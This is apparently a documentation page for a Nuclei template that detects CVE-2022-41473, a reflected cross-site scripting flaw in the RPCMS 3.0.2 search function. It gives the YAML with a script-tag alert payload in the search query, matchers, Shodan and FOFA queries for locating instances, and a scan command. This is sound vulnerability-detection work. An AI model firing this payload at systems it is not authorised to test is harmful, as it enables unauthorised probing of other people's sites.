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RPCMS 3.0.2 - Cross-Site Scripting

ID: CVE-2022-41473

Severity: medium

Author: arafatansari

Tags: cve,cve2022,rpcms,xss

Description

Section titled “Description”

RPCMS 3.0.2 contains a cross-site scripting vulnerability in the Search function. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

YAML Source

Section titled “YAML Source”
id: CVE-2022-41473


info:
  name: RPCMS 3.0.2 - Cross-Site Scripting
  author: arafatansari
  severity: medium
  description: |
    RPCMS 3.0.2 contains a cross-site scripting vulnerability in the Search function. An attacker can inject arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the victim's browser, leading to potential data theft, session hijacking, or defacement of the website.
  remediation: |
    Apply the latest security patch or upgrade to a newer version of RPCMS to mitigate the XSS vulnerability.
  reference:
    - https://github.com/ralap-z/rpcms/issues/1
    - https://nvd.nist.gov/vuln/detail/CVE-2022-41473
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/Henry4E36/POCS
    - https://github.com/ARPSyndicate/cvemon
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2022-41473
    cwe-id: CWE-79
    epss-score: 0.012
    epss-percentile: 0.84884
    cpe: cpe:2.3:a:rpcms:rpcms:3.0.2:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: rpcms
    product: rpcms
    shodan-query:
      - http.html:"RPCMS"
      - http.html:"rpcms"
    fofa-query: body="rpcms"
  tags: cve,cve2022,rpcms,xss


http:
  - method: GET
    path:
      - "{{BaseURL}}/search/?q=%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"


    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert(document.domain)</script>'
          - 'rpcms'
        condition: and


      - type: word
        part: header
        words:
          - "text/html"


      - type: status
        status:
          - 200
# digest: 4b0a0048304602210095ded0d4a700a66283b883134dbd7d6ddc08f78c5c755acda08d17343e5a0a48022100ce5f8fbe8100e4201547c9fa6fdf3216b2da5e61cce06e2848b15f5259d44305:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2022/CVE-2022-41473.yaml"

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